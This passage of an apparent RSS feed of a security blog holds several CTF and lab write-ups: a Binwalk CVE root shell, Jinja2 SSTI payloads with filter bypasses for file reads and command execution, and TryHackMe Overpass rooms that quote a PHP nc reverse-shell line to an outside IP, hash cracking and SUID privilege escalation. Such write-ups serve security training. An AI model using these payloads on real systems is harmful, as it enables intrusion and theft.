src="https://cdn-images-1.medium.com/max/1024/1*-IhUZGjQ1iv4EyyCFnKLrA.png" /></figure><p>Binwalk v2.3.2</p><p>เมื่อเรานำ binwalk ไปตรวจสอบ version เราจะพบ cve แบบ Remote Code Execution จากการ exec แบบ binwalk -e</p><p>CVE 2022–4510</p><ul><li><a href="https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/">Security Advisory: Remote Command Execution in binwalk</a></li><li><a href="https://www.exploit-db.com/exploits/51249">OffSec&#39;s Exploit Database Archive</a></li></ul><p>ไม่มีอะไรมาก เราก็นำ poc ดังกล่าวมาใช้จะได้เป็น ไฟล์ binwalk_exploit.png</p><p>จากนั้นเราก็ทำการย้ายไฟล์ของเราไปไว้ใน /var/www/pilgrimage.htb/shrunk/</p><p>และ ทำการ listening ตาม port ที่เรากำหนดไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJxgXFeGXKLLdG-YpFjzlA.png" /></figure><p>shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UuSeg5Ax8mG5eKgI0LqmWQ.png" /></figure><p>จะเห็นว่า shell ขึ้นมาเราก็ทำการ ตรวจสอบเราเป็นใคร</p><p>id</p><p>uid=0(root) gid=0(root) groups=0(root)</p><p>จากนั้นก็เข้า path root cat root.txt เป็นอันจบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EF4p8sHx6Tkk_XbVXEvsWQ.png" /></figure><p>Happy Hacking karbbbb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a2e0a0e8ab6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AfricaBattleCTF ( Cobalt Injection: 1,2 ) Writeup-(SSTI payload & Bypass Filter)]]></title>
            <link>https://lanceisnotmyname.medium.com/africabattlectf-cobalt-injection-1-2-writeup-ssti-payload-bypass-filter-c4cf641d8eca?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4cf641d8eca</guid>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Wed, 28 Jun 2023 04:20:05 GMT</pubDate>
            <atom:updated>2023-06-28T04:20:05.786Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*-5FxG4bnFmxC1oAY.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*-DzLi_ZY9nVHr3HPCoZInw.png" /></figure><p>view source จะเห็นว่าให้ใส่ parameter capital ในการทายชื่อเมืองหลวง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jd_WbAowxDoKuP2CcOwfIw.png" /></figure><p>สังเกตได้ว่ามีการ render คำที่เราใส่ไปใน parameter (render_template in flask python web server)</p><p>สันนิษฐานไว้ก่อนว่าเป็น SSTI</p><p><a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection</a></p><p>ลอง <a href="http://chall.battlectf.online:8085/?capital={{7*7}}">http://chall.battlectf.online:8085/?capital={{7*7}}</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0C3HfQnJv1o2cX3zE_vcg.png" /></figure><p>ทดสอบได้เป็น Twig &amp; Jinja2</p><p><a href="http://chall.battlectf.online:8085/?capital={{">http://chall.battlectf.online:8085/?capital={{</a> request.__class__._load_form_data.__globals__.__builtins__.open(“/etc/passwd”).read() }}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NYftEuhgcoaibci4EYltew.png" /></figure><p><a href="http://chall.battlectf.online:8085/?capital={{">http://chall.battlectf.online:8085/?capital={{</a> request.__class__._load_form_data.__globals__.__builtins__.open(“flag.txt”).read() }}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzlwB8k-IC9eN2G1rkO73w.png" /></figure><p>FLAG: battleCTF{wahala_1nj3ction_in_country}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*Qqv6XaqHJbfwumR5woGWLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpMYTgDQXUka1vn03H32Hw.png" /></figure><p>SSTI filter รอบนี้ block ., _</p><p>แนวทางการ bypass filter ต่างๆ ให้ทำการทดสอบว่า payload ดังกล่าวมีการ block หรือตั้งเงื่อนไขคร่าวๆ <br>อย่างไรบ้างและจะทำอย่างไรในการเลือก payload ให้หลบเลี่ยงการใช้ คำ ใน blacklist ดังกล่าว</p><p>แนวทางศึกษาเพิ่มเติม</p><p><a href="https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f">https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f</a></p><p>เนื่องจาก web การใช้ “.” .ให้ใช้ attr แทน เช่น foo|attr(“bar”) ===&gt; foo.bar</p><p>และ encode “_” เป็น hex \x5f</p><p>our payload == &gt; {{().__class__.__base__.subclasses__()}}</p><p>เขียนได้เป็น</p><p>{{()|attr(“\x5f\x5fclass\x5f\x5f”)|attr(“\x5f\x5fbase\x5f\x5f”)|attr(“\x5f\x5fsubclasses\x5f\x5f”)()}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_XO_UaClX1fsbyH1d3OHg.png" /></figure><p>จะได้ subclass ออกมา แล้วนำมาหา index ต่อ</p><p>a = “ทั้งก้อน subclasses”</p><p>print(a.split(‘,’).index(“ &lt;class ‘subprocess.Popen’&gt;”)) จะได้ 354 ให้เรียกใช้ __getitem__ เรียกใช้ subprocess.Popen ซึ่งอยู่ index 354</p><p>cat flag.txt == &gt; hex \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74</p><p>payload == &gt; {{‘’.__class__.mro()[1].__subclasses__()[354](‘cat flag.txt’,shell=True,stdout=-1).communicate()[0].strip()}}</p><p>{{()|attr(%27\x5f\x5fclass\x5f\x5f%27)|attr(%27\x5f\x5fbase\x5f\x5f%27)|attr(%27\x5f\x5fsubclasses\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(354)(%27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74%27,shell=True,stdout=-1)|attr(%27communicate%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(0)|attr(%27decode%27)(%27utf-8%27)}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ul4jlf9gWOB3wvgSWQ1OHg.png" /></figure><p>FLAG: battleCTF{C0untry_1nj3ct!on_f1!73r_Bypass_534d3d21720fbdb1cc1a58e75e25993a}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4cf641d8eca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme:Overpass2-Hacked]]></title>
            <link>https://lanceisnotmyname.medium.com/tryhackme-overpass2-hacked-209be9a68a09?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/209be9a68a09</guid>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sun, 09 Oct 2022 16:15:26 GMT</pubDate>
            <atom:updated>2022-10-09T16:16:24.825Z</atom:updated>
            <content:encoded><![CDATA[<p>Okeyyyy let’s do this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pw5EtRv6Mmb9qU_X.png" /></figure><p>Seems like we have to dig into packet and take data from it (PCAP is not my type but that’s ok)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Itycm7DjqWDqBHrn5I93Q.png" /></figure><p><strong>What was the URL of the page they used to upload a reverse shell?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPCf_ytwir_PCxSH0i7VpA.png" /><figcaption>just fill in the filter ‘http’</figcaption></figure><p>/development/</p><p><strong>What payload did the attacker use to gain access?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBUWtpHjTT-h0xPD2IP0bg.png" /></figure><p>&lt;?php exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f”)?&gt;</p><p><strong>What password did the attacker use to privesc?</strong></p><p>whenevernoteartinstant</p><p><strong>How did the attacker establish persistence?</strong></p><p>https://github.com/NinjaJc01/ssh-backdoor</p><p><a href="https://github.com/NinjaJc01/ssh-backdoor">GitHub - NinjaJc01/ssh-backdoor</a></p><p><strong>Using the fasttrack wordlist, how many of the system passwords were crackable?</strong></p><p>4</p><p><strong>What’s the default hash for the backdoor?</strong></p><p>this step you have to install the tool and see help</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sB8E_CZYXT_hQOiWWix_fQ.png" /></figure><p>bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3</p><p><strong>What’s the hardcoded salt for the backdoor?</strong></p><p>cat main.go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpNxDn6IKvSZaNopx-DjhQ.png" /></figure><p>1c362db832f3f864c8c2fe05f2002a05</p><p><strong>What was the hash that the attacker used? — go back to the PCAP for this!</strong></p><p>6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed</p><p><strong>Crack the hash using rockyou and a cracking tool of your choice. What’s the password?</strong></p><p>combine the hash and salt together (I used hashcat )</p><p>touch hash.txt</p><p>6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05</p><p>hashcat -m 1710 hash.txt /use/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-3kuUs3ngPpLwN631tZLA.png" /></figure><p>use this as a password to go inside</p><p>this tool open service that work as a ssh for attacker on port 2222 (in PCAP)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SUkSBBbwLpG5wVQByYv2MA.png" /></figure><p>ssh james@&lt;ip&gt; -p 2222 <strong>-oHostKeyAlgorithms=+ssh-rsa</strong> (In case you found error )</p><p>here is your <strong>user.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*PexUHnL1pWfTjMcvRfJZEQ.png" /></figure><p>let’s go get some information</p><p>find / -perm -04000 -ls -type f 2&gt;/dev/null</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*snwF8mfBLGSH-urpqos1qA.png" /></figure><p>kick my eyes</p><p><strong>suid</strong> means Sticky bits so this is a way that attacker can quickly get back to root</p><p><a href="https://www.techopedia.com/definition/22339/sticky-bit">https://www.techopedia.com/definition/22339/sticky-bit</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Iu6Ug0aflEWzCnVBUPLI0w.png" /></figure><p>SUID bash permission use</p><p>bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Carh4dxM9nzASUKlfooKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EOb_OJXyuFpnxuWqQpMXg.png" /></figure><p>I Hope you like it HAVE FUN!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=209be9a68a09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe:Overpass]]></title>
            <link>https://lanceisnotmyname.medium.com/tryhackme-overpass-171e6773579f?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/171e6773579f</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Sat, 08 Oct 2022 13:15:13 GMT</pubDate>
            <atom:updated>2022-10-08T13:17:14.419Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s Go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*2GeeV6tXGQ1O2XZV.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XriuO64CMNEe2U6LYzuIfA.png" /></figure><p>First of All , nmap -sC -sV -T4 &lt;ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTIy4MYa3P1CG_yc5yAXcg.png" /></figure><p>Go to Http</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O4m6_qA6OoDy154prPDwtw.png" /></figure><p>let’s see what can be useful for me</p><p>gobuster dir -w ../../seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u <a href="http://10.10.27.204/">http://10.10.27.204/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6CxR5EryYRRqNyoqvBiNA.png" /></figure><p>Hmmmm. Go check that /admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mi_w1W1l-2ZPzKWUU8_Mvg.png" /></figure><p>login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jq4jpZiaexz9TA4BtZAaMQ.png" /></figure><p>found something</p><p>i keep checking another .js but this one could be useful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_-VDrVHK1k0fJ3vvE2n5Q.png" /></figure><p>what if I set that cookie myself</p><p>curl http://&lt;ip&gt;/admin --cookie “SessionToken=1” -L</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ux83r-p2mvK-q9tqXLad_w.png" /></figure><p>this key is for “james” alright</p><p>this is key is used for entering ssh so crack it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*k0mrCT4QEfli5WOOETjjaw.png" /></figure><p>let’s try</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*92grlG72eJgBC2ynK8xPLg.png" /></figure><p>I’m in! here is the user.txt : thm{………}</p><p>cat todo.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*KzPIYUjujojTq-UA9sEpdg.png" /></figure><p>automated ? , script? , update?</p><p>look like a hint haha!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*QslM4jV9xxkikxf09g9_uw.png" /></figure><p>,LQ?2&gt;6QiQ$JDE6&gt;Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WB-sfa5BvRvZ6FNlPmHZiw.png" /></figure><p>ok but not so useful for me</p><p>I took time searching for sth. valuable for me till i found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x2GT5A48-NukMU4tB9Yn9A.png" /></figure><p>those bash must be something that executed by <strong>root</strong></p><p>Hmmm. overpass.thm Is this a domain name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*FYrTd636fG28ymSKIs0xhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*tNlw8mqn34vESVixJb_o4w.png" /></figure><p>I have write permission so what if i change</p><p>overpass.thm to local (127.0.0.1) No</p><p>I changed 127.0.0.1 —&gt; my &lt;ip&gt;</p><p>and this happen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*y9Ak87z5h4ZedDYlMdU9mA.png" /></figure><p>make myself as a overpass.thm and take my update buildscript.sh as they said</p><p>make your directory</p><p>and your script as reversed shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*GRGncuUZ6yqvNWCC4J9Reg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*ptDIvzIZyCpimiWDsbCQ8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*F1wxSLPniXRtrtDmgtSDAQ.png" /></figure><p>make your self as a server use</p><p>python -m http.server 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*D_K2xXLp2EpI3uvetwXSlQ.png" /></figure><p>and listening for your connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*-rxblD6cHiDcXzLodfzjSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbsv1BNlJjfzQiIVkqJK-w.png" /></figure><p>gotcha!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*7UgsNOixeQQF7GgOh6cE4Q.png" /></figure><p>hope u like it</p><p>HAVE FUN!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=171e6773579f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NCSA2022-WebSecChallenge03]]></title>
            <link>https://lanceisnotmyname.medium.com/ncsa2022-websecchallenge03-d565f2f7173b?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/d565f2f7173b</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Mon, 03 Oct 2022 05:02:53 GMT</pubDate>
            <atom:updated>2022-10-09T15:38:44.234Z</atom:updated>
            <content:encoded><![CDATA[<p>03 I’m not sure about number But that’s ok</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*p3YEqRq2xTjWGz5dE6mH7Q.png" /></figure><p>When I enter the web challenge and don’t know shit</p><p><strong>View sources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0mkfDJ_WLXdDiM9DhNDtug.png" /></figure><p>yeah</p><p>Still don’t know shit !!!</p><p>wait…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*v5AR-cxWwah8GzQhfAx7cA.png" /></figure><p>I have a clue that it could be some types of injection or LFI</p><p>Let’s find out</p><p>Use <a href="https://github.com/ffuf/ffuf.git"><strong>ffuf</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uwrjxc2jkjIoK0lXJ6JG7g.png" /></figure><p>so many argument to use ARHHHHHHH!!!!!</p><p>If you want to practice this tool</p><p><a href="https://tryhackme.com/room/ffuf">ffuf</a></p><p>Very useful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DigQW-BhZECSLYLs27oxtw.png" /></figure><p>Hmmmm …..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BMId-x8WsPlh0t_z0pr8Xw.png" /></figure><ul><li>I can see the flagSecret.txt here (It’s kind of some output that’s come from “ls” cmd )</li><li>-c -r can be some argument in command like” — help” “-u” “-a”</li><li>Let’s find out more</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*moJofAV_eCVEtuCmf2TOTw.png" /></figure><p>so many result haha</p><p>I tried some (look at <strong>Size</strong> at the output Suspicious right?)</p><p>use -hrv as a simple use</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_saoMOHSEfTiIEU4Tm21Q.png" /></figure><p>Scroll down till u found where you’re looking for</p><p>have FuNN!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d565f2f7173b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NCSA2022-NetworkChallenge02]]></title>
            <link>https://lanceisnotmyname.medium.com/ncsa2022-networkchallenge02-2f1e2eefeee0?source=rss-fd13e76de4bf------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f1e2eefeee0</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ncsa]]></category>
            <dc:creator><![CDATA[Lance]]></dc:creator>
            <pubDate>Mon, 03 Oct 2022 03:55:08 GMT</pubDate>
            <atom:updated>2022-10-03T03:57:49.015Z</atom:updated>
            <content:encoded><![CDATA[<p>I’m not good at explaining &amp; writing blogs haha!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*v6hnjyX_WmIXkphLwwL_NA.png" /></figure><p>Use Wireshark (PCAP analyzer)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgxQXQxexPK09HooY0UHQw.png" /></figure><p>First</p><p>Use <strong>Statistics &gt; Ip protocols</strong> to examine all protocol this PCAP captured</p><p>We can see that <strong>TCP</strong> took the highest count</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqvik0TX2B-5EDTyFrvw3w.png" /></figure><p>After scroll down We can see that telnet is all around</p><p>So right click and <strong>Follow TCP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mpk6akNf-orLkF1rTWZZwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHItNjxKQAUAPSQc4RNXQQ.png" /></figure><p>it might be some sort of credentials attack but nothing found till…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_nKErtwqammdxi4GUA5eyg.png" /></figure><p>Seem They get user&amp;pass already!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JENBITeK4XYprd6PeXi_Q.png" /></figure><p>The next Stream It makes me sus that This would be Header of Zip file</p><p>So Show data as ASCII &gt;&gt;&gt; Raw</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8NfUrTa6wcNbp8QFZzCkTA.png" /></figure><p>50 4b 03 04 Hmmmmmm……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqskwrqLC87RSit1L795hA.png" /></figure><p>I know it This is <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">magic bytes </a>or signatures that will told computer that what file type it could be</p><p>So …. extract it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*BVBFrm9AI4PbmEhpr-LJfg.png" /></figure><p>This file is required pass</p><p>WE can use Zip2john &gt; hash.txt</p><p>john hash.txt — wordlist=rockyou.txt</p><p>But if you see the last Stream I can use this pass instead (Just enum cause I’m lazy )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*cUhnkXVS_ETvLEttndl9tg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*3_R0c7b1qYacjQh-btI8Xw.png" /></figure><p>Gotcha!!!</p><p>tctt{……………}</p><p>Have fun !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f1e2eefeee0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>